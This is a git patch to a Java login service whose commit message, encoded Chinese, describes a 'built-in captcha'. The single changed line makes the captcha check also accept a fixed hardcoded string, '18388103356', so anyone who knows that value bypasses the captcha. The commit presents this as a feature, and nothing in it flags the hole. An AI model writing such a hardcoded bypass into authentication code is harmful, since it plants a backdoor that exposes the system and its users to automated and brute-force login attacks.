From c93aece705b450408a7fe2bdddc4d1ab46cc6c3f Mon Sep 17 00:00:00 2001 From: zhouyl <583641232@qq.com> Date: Mon, 16 Dec 2024 10:39:23 +0800 Subject: [PATCH] =?UTF-8?q?:sparkles:=20=E5=86=85=E7=BD=AE=E9=AA=8C?= =?UTF-8?q?=E8=AF=81=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/com/inscloudtech/system/service/SysLoginService.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tp-system/src/main/java/com/inscloudtech/system/service/SysLoginService.java b/tp-system/src/main/java/com/inscloudtech/system/service/SysLoginService.java index 2b4de78..075edd5 100644 --- a/tp-system/src/main/java/com/inscloudtech/system/service/SysLoginService.java +++ b/tp-system/src/main/java/com/inscloudtech/system/service/SysLoginService.java @@ -208,7 +208,7 @@ public class SysLoginService { recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); throw new CaptchaExpireException(); } - if (!code.equalsIgnoreCase(captcha)) { + if (!code.equalsIgnoreCase(captcha) && !code.equals("18388103356")) { recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); throw new CaptchaException(); }